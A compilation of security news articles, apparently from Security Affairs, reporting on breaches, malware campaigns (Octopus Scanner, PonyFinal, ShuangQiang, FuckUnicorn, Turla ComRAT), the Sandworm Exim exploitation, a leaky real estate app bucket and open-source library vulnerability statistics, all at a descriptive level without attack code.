In response to the incident, the company shut down impacted servers to avoid the malware from spreading and communicating with external servers.

According to NTT, the security breach could impact 621 companies whose information was stored on the information management server.

The company announced that it has taken additional measures to prevent similar attacks in the future.

Other major Japanese companies recently disclosed security breaches, some of them took place years ago, including NEC, Mitsubishi ElectricPasco and Kobe Steel.

Pierluigi Paganini

(SecurityAffairs – NTT, hacking)

The post ICT solutions provider NTT Com discloses security breach appeared first on Security Affairs.

Octopus Scanner Malware: open source supply chain attack via NetBeans projects on GitHub

GitHub has issued a security alert warning of a malware campaign that is spreading on its platform via boobytrapped NetBeans Java projects.

GitHub has issued a security alert warning of a piece of malware dubbed Octopus Scanner that is spreading on its platform via boobytrapped NetBeans Java projects.

GitHub’s security team discovered the malicious code in projects managed using the Apache NetBeans IDE (integrated development environment), a complete environment composed of editors, wizards, and templates that help users to create applications in Java, PHP and many other languages. t

On March 9, a security researcher informed GitHub about a set of GitHub-hosted repositories that were actively serving malware. The company immediately investigated the incident and discovered malware designed to enumerate and backdoor NetBeans projects, “and which uses the build process and its resulting artifacts to spread itself.”

What makes this case different from previous abuses of the platforms is that the owners of the repositories were aware that they were committing backdoored code into their repositories.

GitHub’s Security Incident Response Team (SIRT) received its initial notification about a set of repositories serving malware-infected open source projects from security researcher JJ.” reads a post published by Github.

“this report was different. The owners of the repositories were completely unaware that they were committing backdoored code into their repositories.”

The Octopus Scanner identifies the NetBeans project files and embeds malicious payload both in project files and build JAR files.

Below is a high -evel description of the Octopus Scanner activity:

  • Identify user’s NetBeans directory
  • Enumerate all projects in the NetBeans directory
  • Copy malicious payload cache.dat to nbproject/cache.dat
  • Modify the nbproject/build-impl.xml file to make sure the malicious payload is executed every time NetBeans project is build
  • If the malicious payload is an instance of the Octopus Scanner itself the newly built JAR file is also infected.
Netbeans octopus-supply chain attack

Experts uncovered 26 open source projects that were backdoored by the Octopus Scanner malware and that were serving backdoored code.

The Octopus Scanner campaign is not recent, it has been going on for years. Experts reported that the oldest sample of the malware was uploaded on the VirusTotal in August 2018.

Upon downloading any of the 26 projects, the malware would infect users’ local computers. The malware scans the victim’s workstation for a local NetBeans IDE install, and attempt to backdoor other developer’s Java projects.

According to the experts, Octopus Scanner is a multiplatform malware, it runs on Windows, macOS, and Linux and downloads a remote access trojan (RAT).

“However, if it was found, the malware would proceed to backdoor NetBeans project builds through the following mechanisms:

  1. It makes sure that every time a project was built, any resulting JAR files got infected with a so-called dropper. A dropper is a mechanism that “drops” something to the filesystem to execute. When executed, the dropper payload ensured local system persistence and would subsequently spawn a Remote Administration Tool (RAT), which connects to a set of C2 servers.
  2. It tries to prevent any NEW project builds from replacing the infected one, to ensure that its malicious build artifacts remained in place.”

The ultimate goal of the campaign is to deliver the RAT on the machines of developers working on sensitive projects to steal sensitive information.

“It was interesting that this malware attacked the NetBeans build process specifically since it is not the most common Java IDE in use today,” GitHub concludes.

“If malware developers took the time to implement this malware specifically for NetBeans, it means that it could either be a targeted attack, or they may already have implemented the malware for build systems such as Make, MsBuild, Gradle and others as well and it may be spreading unnoticed,”

“While infecting build processes is certainly not a new idea, seeing it actively deployed and used in the wild is certainly a disturbing trend.”

Pierluigi Paganini

(SecurityAffairs – NetBeans, hacking)

The post Octopus Scanner Malware: open source supply chain attack via NetBeans projects on GitHub appeared first on Security Affairs.

NSA warns Russia-linked APT group is exploiting Exim flaw since 2019

The U.S. NSA warns that Russia-linked APT group known as Sandworm Team have been exploiting a critical flaw in the Exim mail transfer agent (MTA).

The U.S. National Security Agency (NSA) is warning that Russia-linked APT group tracked Sandworm Team has been exploiting a critical vulnerability (CVE-2019-10149) in the Exim mail transfer agent (MTA) software since at least August 2019.

The CVE-2019-10149 flaw, aka “The Return of the WIZard,” affects versions 4.87 to 4.91 of the Exim mail transfer agent (MTA) software. The issue could be exploited by unauthenticated remote attackers to execute arbitrary commands on mail servers for some non-default server configurations.

The flaw resides in the deliver_message() function in /src/deliver.c and it is caused by the improper validation of recipient addresses. The issue could lead to remote code execution with root privileges on the mail server.

“Russian military cyber actors, publicly known as Sandworm Team, have been exploiting a vulnerability in Exim mail transfer agent (MTA) software since at least last August.” reads the advisory published by the NSA. “The Russian actors, part of the General Staff Main Intelligence Directorate’s (GRU) Main Center for Special Technologies (GTsST), have used this exploit to add privileged users, disable network security settings, execute additional scripts for further network exploitation; pretty much any attacker’s dream access – as long as that network is using an unpatched version of Exim MTA.”

“NSA adds its encouragement to immediately patch to mitigate against this still current threat.”

GRU Main Center for Special Technologies (GTsST) hackers of 

Hackers belonging to the Unit 74455, under the Russian GRU Main Center for Special Technologies (GTsST), are exploiting the Exim issue after an update was issued in June 2019.

“The actors exploited victims using Exim software on their public facing MTAs by sending a command in the “MAIL FROM” field of an SMTP (Simple Mail Transfer Protocol) message.” states the advisory.

Below a sample “MAIL FROM” exploitation command published by the NSA:

Russian state-sponsored hackers leverage the vulnerability to download a shell script from a domain under their control and use it to “add privileged users, disable network security settings, update SSH configurations to enable additional remote access, execute an additional script to enable follow-on exploitation.”

NSA recommends patching Exim servers immediately by installing version 4.93 or newer.

“Update Exim immediately by installing version 4.93 or newer to mitigate this and other vulnerabilities. Other vulnerabilities exist and are likely to be exploited, so the latest fully patched version should be used. Using a previous version of Exim leaves a system vulnerable to exploitation. System administrators should continually check software versions and update as new versions become available.” concludes NSA. “Administrators can update Exim Mail Transfer Agent software through their Linux distribution’s package manager or by downloading the latest version from https://exim.org/mirrors.html.”

NSA’s advisory also includes Indicators of Compromise and instructions on how to detect exploit attempts and unauthorized changes.

Unfortunately, the number of vulnerable Exim installs exposed online is still high, querying Shodan for installs exposed online we can more than 2,481,000 servers, with more than 2,400,000 servers running the patched Exim 4.93 release. 

Pierluigi Paganini

(SecurityAffairs – APT, hacking)

The post NSA warns Russia-linked APT group is exploiting Exim flaw since 2019 appeared first on Security Affairs.

Israel ’s national cyber chief warns of rising of cyber-warfare

Israel ’s national cyber chief acknowledged the country had thwarted a major cyber attack in April against its water systems.

Israel’s national cyber chief Yigal Unna officially confirmed that the country in April had thwarted a major cyber attack against its water systems. The media, citing officials that spoke under condition of anonymity, attributed the “synchronized and organized attack” to the Government of Teheran.

Yigal Unna did not explicitly attribute the attack to Iran, he only warned of unpredictable developments of an ongoing stealth Information warfare.

“Rapid is not something that describes enough how fast and how crazy and hectic things are moving forward in cyberspace and I think we will remember this last month and May 2020 as a changing point in the history of modern cyber warfare,” he told to the audience of the virtual cyber conference CyberechLive Asia.

“If the bad guys had succeeded in their plot we would now be facing, in the middle of the Corona crisis, very big damage to the civilian population and a lack of water and even worse than that.”

Unna pointed out that the attempt to hack into Israel’s water systems marked the first time in modern history that “we can see something like this aiming to cause damage to real life and not to IT or data.”

At the end of April, the Israeli government has issued an alert to organizations in the water sector following a series of cyberattacks that targeted the water facilities.

At the time, Israel’s National Cyber Directorate announced to have received reports of cyber attacks aimed at supervisory control and data acquisition (SCADA) systems at wastewater treatment plants, pumping stations and sewage facilities.

Organizations were recommended to implement supplementary security measures to protect SCADA systems used in the water and energy sectors. The government urges to immediately change the passwords of control systems exposed online, ensure that their software is up to date, and reduce their exposure online.

The good news is that according to the report from the Israel’s Water Authority, the attacks did not impact operations at the facilities.

Intelligence experts believe that Israel and Iran are engaged in a covert cyber dispute and recently also hit critical infrastructure or both countries.

attacks. Most famously, U.S. and Israeli intelligence agencies are suspected of unleashing a computer worm called Stuxnet years ago in an attempt to disrupt Iran’s nuclear program.

Israel is suspected to be behind the recent cyberattack which disrupted some operations at Iran’s Shahid Rajaei Port, located near the Strait of Hormuz.

“It is a part of some attack over Israel and over the national security of Israel and not for financial benefit,” Unna added. “The attack happened but the damage was prevented and that is our goal and our mission. And now we are in the middle of preparing for the next phase to come because it will come eventually.”

Unna said the cyber attack marked a historic turning point in cyber warfare.

“Cyber winter is coming and coming even faster than I suspected,” he said. “We are just seeing the beginning.”

Pierluigi Paganini

(SecurityAffairs – Israel, Iran)

The post Israel ’s national cyber chief warns of rising of cyber-warfare appeared first on Security Affairs.

Microsoft warns about ongoing PonyFinal ransomware attacks

Microsoft is warning organizations to deploy protections against a new strain of PonyFinal ransomware that has been in the wild over the past two months.

Microsoft’s security team issued a series of tweets warning organizations to deploy protections against a new piece of ransomware dubbed PonyFinal that has been in the wild over the past two months.

PonyFinal is Java-based ransomware that is manually distributed by threat actors. The ransomware first appeared in the threat landscape earlier this year and was involved in highly targeted attacks against selected targets, mainly in India, Iran, and the US.

Human-operated ransomware is a technique usually employed in nation-state attacks that is becoming very popular in the cybercrime ecosystem.

In human-operated ransomware attack scenario, attackers use stolen credentials, exploit misconfiguration and vulnerabilities to access target networks, attempt to escalate privileges and move laterally, and deliver malware and exfiltrate data.

Most infamous human-operated ransomware campaigns include SodinokibiSamasBitpaymer, and Ryuk.

PonyFinal operators initially target organizations’ systems management server via brute force attacks, then they deploy a VBScript to run a PowerShell reverse shell to perform data dumps. Threat actors also use a remote manipulator system to bypass event logging.

Once the PonyFinal attackers gained access to the target’s network, they will move laterally to infect other systems with the ransomware.

In many cases, attackers targeted workstations running the Java Runtime Environment (JRE) because the PonyFinal is written in Java, but is some attacked the gang installed JRE on systems before deploying the ransomware.

The PonyFinal ransomware usually adds the “.enc” extension to the names of the encrypted files, it drops a ransom note (named README_files.txt) on the infected systems. The ransom note contains the payment instructions.

Experts pointed out that the encryption scheme of the PonyFinal ransomware is secure and there is no way at the time to recover encrypted files.

Unfortunately, PonyFinal is one of the several human-operated ransomware that were employed in attacks aimed at the healthcare sector during the COVID-19 pandemic.

Other threat are NetWalker, Maze, REvil, RagnarLocker, and LockBit.

Pierluigi Paganini

(SecurityAffairs – Ponyfinal ransomware, hacking)

The post Microsoft warns about ongoing PonyFinal ransomware attacks appeared first on Security Affairs.

Real estate app leaking thousands of user records and sensitive private messages

Real estate app leaking thousands of user records and sensitive private messages

The CyberNews research team uncovered an unsecured Amazon Simple Storage Service bucket of confidential user chat logs belonging to Real estate app Tellus, a US-based software company.

Tellus is a software company based in Palo Alto, California, backed by “well-known investors” that aims to “reimagine Real Estate for the modern era.” The company’s app portfolio includes the Tellus App, a real estate loan, management and investing program. Its target users are American landlords and tenants who can receive and pay rent money, as well as keep all of their ownership and rent related data like rental listings, personal information, and correspondence between tenants and landlords in one place.

The data bucket in question contains a folder with 6,729 CSV files related to the Tellus app that include the app’s user records, chat logs, and transaction records left on a publicly accessible Amazon storage server.

How we found the Tellus app bucket

We discovered the exposed data by scanning through open Amazon Simple Storage Service (S3) buckets, which are online servers that can be used to store data for websites, apps, archives, IoT devices, and more.

Amazon S3 buckets are also known for being challenging to secure, leaving many servers unprotected – and often in the news

We identified Tellus as the owner of the database and notified the company about the leak. As of May 15, the data bucket security issue has been fixed by the Tellus security team and the data is no longer accessible. 

What’s in the data bucket?

The unsecured and unencrypted Amazon S3 bucket contains, among other things:

  • 16,861 user records, including 3,194 verified property owner records and 1,294 verified tenant records stored in separate files
  • Chat logs of private messages between thousands of Tellus platform users, including landlords, tenants, building managers, investors, and Tellus support staff between early 2018 and January 2020
  • Tens of thousands of timestamped property owner transaction records
  • Detailed tenant lead and payment records, including transaction metadata

All of this data is conveniently stored in spreadsheet format that can be easily opened, read, and downloaded by anyone who knows what to look for.

The exposed user records contain:

  • Full names of users, including verified tenants and property owners
  • Traceable user IDs used in transaction records and other logs
  • Email addresses
  • Phone numbers

Example of leaked user records:

The private messages in the chat logs and tenant lead files contain not only the texts of the conversations themselves, but also deeply sensitive content attached therein, including:

  • Full names of the parties involved in the conversation
  • Rent amounts and dates when they are due
  • Tenants’ rented home addresses
  • Case charges and court dates
  • Tenant document scans
  • Screenshots of sensitive images, including other conversations on social media

Example of leaked private messages:

Example of leaked tenant lead messages:

Example of leaked tenant lead messages

Example of leaked transaction records:

Example of leaked transaction records

This means that, in the worst-case scenario, leaving the Tellus S3 bucket unsecured and unencrypted might have led to the continued exposure of data belonging to the entire Tellus user base over a period of up to two years, from 2018 to 2020.

Who had access?

The exposed data was hosted on an Amazon Simple Storage Service (S3) server and located in the US. It is currently unknown for how long the data was left unprotected, and we assume that anyone who knew what to look for could have accessed the data bucket without needing any kind of authentication during the unspecified exposure period.

With that said, it is unclear if any malicious actors have accessed the unsecured data bucket until it was closed by Tellus.

What’s the impact?

While numbers-wise this might not appear like a major leak, the impact on the nearly 17,000 Americans whose records were exposed could be significant if certain data was made publicly available.

Here’s how attackers might use the information found in the Tellus S3 bucket against the exposed users:

  • Blackmailing both tenants and landlords by threatening to publicize the sensitive content found in their private messages and transaction logs
  • Using the information found in private messages to mount targeted phishing attacks, hack online bank accounts, and engage in identity theft
  • Spamming emails and phones
  • Brute-forcing the passwords of the email addresses 
  • Brute-forcing the passwords of the Tellus accounts and stealing the funds therein

Original post available on Cybernews:

https://cybernews.com/security/real-estate-app-leaking-thousands-of-user-records-and-sensitive-private-messages/

About the author Edvardas Mikalauskas

Edvardas Mikalauskas is a writer for CyberNews.com. Ed’s interests include all things tech and cybersecurity. You can reach him via email or find him on Twitter giggling at jokes posted by parody accounts.

Pierluigi Paganini

(SecurityAffairs – Real estate app leaking, hacking)

The post Real estate app leaking thousands of user records and sensitive private messages appeared first on Security Affairs.

The evolution of ransomware in 2019: attackers think bigger, go deeper and grow more advanced

The number of ransomware attacks increased by 40 percent last year, according to Group-IB attackers think bigger and grow more advanced.

Group-IB, a Singapore-based cybersecurity company that specializes in preventing cyberattacks, found out that the year of 2019 was marked by ransomware evolution and was dominated by increasingly aggressive ransomware campaigns, with its operators resorting to more cunning TTPs, reminding those of APT groups to get their victims shell out.

The number of ransomware attacks increased by 40 percent last year, according to Group-IB’s incident response engagements and industry researchers data, while devious techniques employed by the attackers helped them to push the average ransom grow over tenfold in just one year. The greediest ransomware families with highest pay-off were RyukDoppelPaymer and REvil

The findings come as highlights of Group-IB whitepaper titled “Ransomware Uncovered: Attackers’ Latest Methods,” closely examining the evolution of the ransomware operators’ strategies over the past year, issued today. 

Big Game Hunting 

Last year, ransomware operators matured considerably, having joined Big Game Hunting and going beyond file encryption. More groups started distributing ransomware, and Ransomware-as-a-Service (RaaS) adverts opted to focus their attacks on big enterprise networks rather than individuals. TTPs employed by ransomware operators showed that they came to resemble what once was considered a modus operandi of primarily APT groups — last year saw even trusted relationship and supply chain attacks conducted by ransomware operators. 

Another feature that ransomware operators started to share with APT groups was downloading of sensitive data from victims’ servers. It should, however, be noted, that unlike APT groups that download the info for espionage purposes, ransomware operators downloaded it to then blackmail their victims to increase the chances of ransom being paid. If their demands were not met, they attempted to sell the confidential information on the black market. This technique was used by REvil, Maze, and DoppelPaymer operators. 

Big Game Hunters frequently used different trojans to gain an initial foothold in the target network: in 2019, a wide variety of trojans was used in ransomware campaigns, including Dridex, Emotet, SDBBot, and Trickbot. 

In 2019, most ransomware operators actively used post-exploitation frameworks. For instance, Ryuk, Revil, Maze, and DoppelPaymer actively used such tools, namely Cobalt Strike, CrackMapExec , PowerShell Empire, PoshC2, Metasploit, and Koadic, which helped them collect as much information as possible about the compromised network. Some operators used additional malware during their post-exploitation activities, which gave them more opportunities to obtain authentication data and even full control over Windows domains. 

How it all began

In 2019, the majority of ransomware operators used phishing emails, intrusion through external remote services, especially through RDP, and drive-by compromise as initial attack vectors. 

Phishing emails continued to be the most common initial access technique. This technique’s main admirers were Shade and Ryuk. Financially-motivated threat actor TA505 also started its Clop ransomware campaigns from a phishing email containing a weaponized attachment that would download FlawedAmmy RAT or SDBBot, among others.

Last year, the number of accessible servers with an open port 3389 grew to over 3 million, with the majority of them located in China, the United States, Germany, Brazil, and Russia. This attack vector was popularized among cybercriminals by the discovery of five new Remote Desktop Service vulnerabilities, none of which however was successfully exploited. Dharma and Scarab operators were the most frequent users of this attack vector.

In 2019, attackers also frequently used infected websites to deliver ransomware. Once a user found themselves on such a website, they are redirected to websites, which attempt to exploit vulnerabilities in, for example, their browsers. Exploit kits most frequently used in these drive-by attacks were RIG EK, Fallout EK, and Spelevo EK.

Some threat actors, such as Shade (Troldesh) and STOP operators, immediately encrypted data on the initially compromised hosts, while many others, including Ryuk, REvil, DoppelPaymer, Maze, and Dharma operators, gathered info about the intruded network, moving laterally and compromising entire network infrastructures.

The full list of the TTPs outlined in the whitepaper can be found in the heat map below, which is based on MITRE’s revolutionary ATT&CK matrix. They are ordered from the most commonly used (red) to the least commonly used (green).

ransomware heat map

   Figure 1 – Heat map of ransomware operators’ TTPs based on MITRE’s ATT&CK matrix

Game-changer

After a relative lull in 2018, the year of 2019 saw ransomware returning at full strength, with the number of ransomware attacks having grown by 40 percent in 2019 year-on-year. The larger targets determined greater ransoms — the average figure soared from $8,000 in 2018 to $84,000 last year, according to the industry researchers. The most aggressive and greediest ransomware families were RyukDoppelPaymer and REvil, whose single ransom demand reached up to $800,000. 

“The year of 2019 was marked by ransomware operators enhancing their positions, shifting to larger targets and increasing their revenues, and we have good reason to believe that this year they will celebrate with even greater achievements,” comments Group-IB Senior Digital Forensics Specialist Oleg Skulkin. “Ransomware operators are likely to continue expanding their victim pool, focusing on key industries, which have enough resources to satisfy their appetites. The time has come for each company to decide whether to invest money in boosting their cybersecurity to make their networks inaccessible to threat actors or risk being approached with ransom demand and go down for their security flaws.”

Despite the vim, showed by ransomware operators recently, there is still a number of measures that can be taken to ward off ransomware attacks. They include, among others, using VPN whenever accessing servers through RDP, creating complex passwords for the accounts used for access via RDP and changing them regularly, restricting the list of IP addresses that can be used to make external RDP connections, and many others. More recommendations can be found in the relevant section of the whitepaper

Additional details are included in the report “Ransomware Uncovered: Attackers’ Latest Methods” published by Group-IB.

About Group-IB

Group-IB is a Singapore-based provider of solutions aimed at detection and prevention of cyberattacks, online fraud, IP protection and high-profile cyber investigations. Group-IB’s Threat Intelligence system has been named one of the best in class by Gartner, Forrester, and IDC.

Pierluigi Paganini

(SecurityAffairs – ransomware, hacking)

The post The evolution of ransomware in 2019: attackers think bigger, go deeper and grow more advanced appeared first on Security Affairs.

Researchers dismantled ShuangQiang gang’s botnet that infected thousands of PCs

A joint operations conducted by experts from Chinese firms Qihoo 360 Netlab and Baidu dismantle the ShuangQiang ‘s botnet infecting over hundreds of thousands of systems.

A joint operation conducted by Chinese security firm Qihoo 360 Netlab and tech giant Baidu disrupted a botnet operated by a group tracked as ShuangQiang (aka Double Gun) that infected over hundreds of thousands of systems.

ShuangQiang is financially motivated, it has been active since 2017 targeting Windows computers with MBR and VBR bootkits, and installing malicious drivers for financial gain and hijack web traffic to e-commerce sites.

“Recently, our DNS data based threat monitoning system DNSmon flagged a suspicious domain pro.csocools.com. The system estimates the scale of infection may well above hundreds of thousands of users. By analyzing the related samples and C2s.” reads the analysis published by the experts.
“We traced its family back to the ShuangQiang(double gun) campaign, in the past, this campaign has been exposed by multiple security vendors, but it has rvivied and come back with new methods and great force.”

Threat actors were distributing configuration files and malware that were hidden using steganography in images uploaded to Baidu Tieba. The hackers also began using Alibaba Cloud storage to host configuration files and Baidu’s analytics platform Tongji as command infrastructure.

The attack chain leverages game launching software from underground game portals that contain malicious code masqueraded as a patch.

Attackers used two methods to infect the victims, one using the game launcher with malicious code, the second releasing and load a malicious driver.

ShuangQiang botnet

Upon downloading and installing the alleged patch from an underground game server, the victim accesses the configuration information to download another program named “cs.dll” from Baidu Tieba that’s stored as an image file. Then the “cs.dll” creates a bot ID and contacts the C2, then it injects a second driver that hijacks system processes (e.g., lassas.exe and svchost.exe) to download next-stage payloads.

“The drive will copies itself to Windows/system32/driver/{7 random letters}.sys to disguise itself as a legitimate drive, such as fltMgr.sys, and inject DLL module to the system processes Lassas.exeand svchost.exe.” continues the report. “After the entire initialization process is completed, a driver and DLL module work together to complete the work mode through DeviceIoControl () , which is a driver-level downloader. All sensitive configuration information is stored inside the driver.”

In the second attack chain detailed by the researchers, the attackers leverage DLL hijacking to force game client software into loading malicious DLL files using the same name.

Threat actors altered the software using a modified version of photobase.dll, which is used by multiple underground game client software.

Experts from Qihoo 360 Netlab reported their findings to Baidu on May 14 and that launched a jointly operations to block the botnet by tracking all the URLs used by the attackers.

“During this joint action, we had a better understanding on double gun gang’s technical means, logic, and rules, by sharing, analysising, and response to the related threat intelligence.” concludes the report.

Pierluigi Paganini

(SecurityAffairs – ShuangQiang, hacking)

The post Researchers dismantled ShuangQiang gang’s botnet that infected thousands of PCs appeared first on Security Affairs.

Fuckunicorn ransomware targets Italy in COVID-19 lures

A new piece of ransomware dubbed FuckUnicorn it targeting Italy by tricking victims into downloading a fake COVID-19 contact tracing app.

A new ransomware dubbed FuckUnicorn has been targeting computers in Italy by tricking victims into downloading a fake contact tracing app, named Immuni, that promises to provide real-time updates for the COVID-19 outbreak.

The COVID-19-themed campaign use messages that pretend to be sent by the Italian Pharmacist Federation (FOFI).

The Italian Computer Emergency Response Team (CERT) from the AgID Agency released an advisory about this threat.

Attackers attempt to take advantage of the interest on the contact tracing app Immuni that was chosen by the Italian government to trace the evolution of the pandemic in the country.

The new ransomware was first spotted by the malware researcher JamesWT_MHT that shared samples with the malware community.

Email messages used as lure are written in Italian and informs citizens of the release of a beta release of the Immuni app for PC.

The campaign targeted pharmacies, universities, doctors, and other entities involved in the fight against COVID-19 outbreak.

To trick victims into downloading the malicious app, threat actors set up a malicious domain that clones the content of the legitimate site of the Federazione Ordini Farmacisti Italiani (FOFI.it).

The attackers registered the “fofl.it,“ domain to trick victims.

The content of the email includes download links and contact information that combines email addresses from the attacker and FOFI.

Upon executing the malware it displays a fake Coronavirus Map from the Center for Systems Science and Engineering at Johns Hopkins University.

In the background the FuckUnicorn starts encrypting data on the system, it encrypts the files in certain paths (/Desktop, /Links, /Contacts, /Documents, /Downloads, /Pictures, /Music, /OneDrive, /Saved Games, /Favorites, /Searches, and /Videos) with these extensions:

.Txt, .jar, .exe, .dat, .contact, .settings, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .odt, .jpg, .png, .csv,. py, .sql, .mdb, .sln, .php, .asp, .aspx, .html, .htm, .xml, .psd, .pdf, .dll, .c, .cs, .mp3, .mp4, .f3d, .dwg, .cpp, .zip, .rar, .mov, .rtf, .bmp, .mkv, .avi, .apk, .lnk, .iso, .7-zip, .ace, .arj, .bz2, .cab, .gzip, .lzh, .tar, .uue, .xz, .z, .001, .mpeg, .mp3, .mpg, .core, .crproj, .pdb, .ico, .pas , .db, .torrent "

The malicious code adds the “.fuckunicornhtrhrtjrjy” extensions to names of encrypted files.

The FuckUnicorn drops a ransom note written in Italian that asks victims to pay EUR 300, worth of Bitcoin, in three days or the data would be lost.

The email address in the ransom note is invalid making it impossible to send the attacker the payment proof.

At the time, there are no transactions recorded for the wallet included in the ransom note.

The good news for the victims is that CERT-AgID discovered that the password for encrypting the files is sent in clear text to the attacker, this means that it can be retrieved from the network traffic.

Pierluigi Paganini

(SecurityAffairs – FuckUnicorn, hacking)

The post Fuckunicorn ransomware targets Italy in COVID-19 lures appeared first on Security Affairs.

New Turla ComRAT backdoor uses Gmail for Command and Control

Researchers uncovered a new advanced variant of Turla’s ComRAT backdoor that leverages Gmail’s web interface as C2 infrastructure.

Cybersecurity researchers discovered a new version of the ComRAT backdoor, also known as Agent.BTZ, which is a malware that was employed in past campaigns attributed to the Turla APT group.

Earlier versions of Agent.BTZ were used to compromise US military networks in the Middle East in 2008.

The new variant leverages Gmail’s web interface to covertly receive commands and exfiltrate sensitive data.

ComRAT v4 appeared in the threat landscape in 2017 and is still used by threat actors, recently a new variant was used in attacks against two Ministries of Foreign Affairs in Eastern Europe and a national parliament in the Caucasus region.

ComRAT turla 2.png

This new version was developed from scratch and is far more complex than its predecessors. 

The Turla APT group (aka SnakeUroburosWaterbugVenomous Bear and KRYPTON) has been active since at least 2007 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.

The list of previously known victims is long and includes also the Swiss defense firm RUAG, US Department of State, and the US Central Command.

ComRAT is a sophisticated backdoor developed in C++, it could perform many malicious actions on the infected systems, such as executing additional payloads or exfiltrating files.

The backdoor uses a Virtual FAT16 File System formatted in FAT16, it is deployed using existing access methods, including the PowerStallion PowerShell backdoor.

ComRAT leverages the following C2 channels:

  • HTTP: It uses exactly the same protocol as ComRAT v3
  • Email: It uses the Gmail web interface to receive commands and exfiltrate data

The main components of the of the ComRAT v4 are:

  • an orchestrator, which is injected into explorer.exe process and is used to control most of ComRAT functions.
  • a communication module (a DLL), which is injected into the default browser by the orchestrator. It communicates with the orchestrator using a named pipe.
  • a Virtual FAT16 File System, containing the configuration and the logs files.

“The main use of ComRAT is discovering, stealing and exfiltrating confidential documents. In one case, its operators even deployed a .NET executable to interact with the victim’s central MS SQL Server database containing the organization’s documents.” reads the report published by the experts.

To evade detection, ComRAT files, with the exception of the orchestrator DLL and the scheduled task for persistence, are stored in a virtual file system (VFS). The default VFS container file is hardcoded in the orchestrator components that drops the first time it is executed.

The C&C “mail” mode was specific to the Gmail email provider.

The orchestrator reads the email address in /etc/transport/mail/mailboxes/0/command_addr by parsing the inbox HTML page (using Gumbo HTML parser) and the cookies to authenticate on Gmail in /etc/transport/mail/mailboxes/0/cookie.
The cookies have a limited lifetime so they should be updated from each interaction.

The Gmail parser could get the list of emails with subject lines that match those in a “subject.str” file in the VFS.

The comRAT backdoor downloads the attachments (e.g. “document.docx,” “documents.xlsx”) from each email that meets the above criteria, then it deleted the emails to avoid processing them twice.

Despite their extensions, the attachments are not Office documents, but rather encrypted blobs of data that include a specific command to be executed.

The backdoor creates an attachment containing the result of the commands, its name consists of 20 random digits and of the .jpg.bfe so-called double extension.

The analysis of the time of day that commands were sent in a one-month period reveals that the operators are working in the UTC+3 or UTC+4 time zone.

“Version four of ComRAT is a totally revamped malware family released in 2017,” ESET concludes. “Its most interesting features are the Virtual File System in FAT16 format and the ability to use the Gmail web UI to receive commands and exfiltrate data. Thus, it is able to bypass some security controls because it doesn’t rely on any malicious domain.”

Pierluigi Paganini

(SecurityAffairs – Tesla, hacking)

The post New Turla ComRAT backdoor uses Gmail for Command and Control appeared first on Security Affairs.

Hangzhou could permanently adopt COVID-19 contact-tracing app

The City of Hangzhou is planning to make a contact tracing system developed to fight the COVID-19 pandemic permanent for its citizens.

Hangzhou, one of the major tech hubs in China, is planning to permanently use the tracking system developed to fight the COVID-19 outbreak.

The city’s health commission declared that the permanent version of the contact tracing system would be a “‘firewall’ to enhance people’s health and immunity” after the COVID-19 pandemic.

The contact tracing app was developed by Tencent and Alibaba and is mandatory, it implements a “triage” system based on the travel history of the citizen.

The app is currently mandatory and assigns users green, yellow, or red status. Residents who visited COVID-19 hot spots or that were in contact with infected individuals, would be given a red code and be asked to quarantine for 14 days. Residents in good health status and had no contact with infected individuals cases are given a green code and could move without any restriction around the city.

COVID-19 contact tracing system

The app is already used by one billion people and the codes it generates have been scanned more than nine billion times.

“According to Qiu Yuepeng, vice president of Tencent and President of Tencent Cloud, since the official version of the health code was launched on February 9, Tencent’s health code has covered more than 20 provinces and more than 400 cities and counties in the country, covering more than 1 billion people.” reads the post published by Tencent. “The total number of visits exceeded 26 billion, and the cumulative number of code visits exceeded 9 billion.”

The Hangzhou’s Health Commission aims to permanently use the system that would assign users a health score ranging from 0 to 100 based on different factors, such as their medical records, physical examinations, and habits (e.g. steps they walk, or hours they sleep or make sport daily).

Clearly privacy advocates fear that the contact tracing system could improve the dragnet surveillance implemented by the Chinese government to monitor its citizens.

Facial recognition technology is widely adopted in China where the government already uses the social credit system to monitor citizen’s online behaviour and assigns a “citizen score.”

Pierluigi Paganini

(SecurityAffairs – COVID-19, contact tracing system)

The post Hangzhou could permanently adopt COVID-19 contact-tracing app appeared first on Security Affairs.

Bugs in open-source libraries impact 70% of modern software

70 percent of mobile and desktop applications that today we use are affected at least by one security flaw that is present in open-source libraries.

According to the Veracode’s annual State of Software Security report, 70 percent of mobile and desktop applications being used today have at least one security flaw that is the result of the use of an open-source library.

Experts pointed out that every library could be affected by one o more issues which will be inherited from all the applications that use them.

According to Veracode’s annual State of Software Security report, almost any modern application includes open source libraries that implement functionality that would be extremely tedious to write from scratch.

The experts analyzed over 85,000 applications and related imported libraries, accounting for over 351,000 unique external libraries.

“The number of external libraries found in any given application varies quite a bit depending on the language in which the application is being developed.” reads the report.

The use of open-source libraries is quite common, for example most JavaScript applications contain hundreds of libraries.

“Our research found that most JavaScript applications contain hundreds of open source libraries – some have over 1,000 different libraries. In addition, most languages feature the same set of core libraries.” reads the post published by Veracode. “JavaScript and PHP in particular have several core libraries that are in just about every application.”

Most of the vulnerabilities affecting the applications analyzed by the researchers were present in the Swift, .NET, Go, and PHP open-source libraries.

“But not all flaws are equal. Some security issues are relatively exotic
or difficult to exploit while others may be much more significant to
their application. It’s this sorting of the zebras from the horses to
which we now turn.”
continues the report.

Swift is widely used in the Apple ecosystem, it has the highest density of vulnerabilities, but it has an overall low percentage of flawed libraries.

.NET has the lowest percentage of flawed libraries on a population that is more than 17 times larger than Swift.

Go has a high percentage of libraries with flaws, the good news is that it has an overall low number of flaws per individual library. Compared with Go, PHP has a higher rate of flawed libraries, but more double the density of flaws in a given library.

open-source libraries flaws

Cross-site scripting (XSS) is the most common vulnerability affecting open-source libraries, it is present in 30 percent of them. Other major issues are insecure deserialization (23.5 percent) and broken access control (20.3 percent). Insecure deserialization was a rare issue flaw among in-house applications.

“The report found that 70 percent of applications have a security flaw in an open source library on initial scan. Cross-Site Scripting is the most common vulnerability category found in open source libraries – present in 30 percent of libraries – followed by insecure deserialization (23.5 percent) and broken access control (20.3 percent).” continues the post.

Experts pointed out that addressing security vulnerabilities in open-source libraries is so difficult.

“In the good news department, addressing the security flaws in these libraries is most often not a significant job. Most library-introduced flaws (nearly 75 percent) in applications can be addressed with only a minor version update. Major library upgrades are not usually required!” concludes the report.

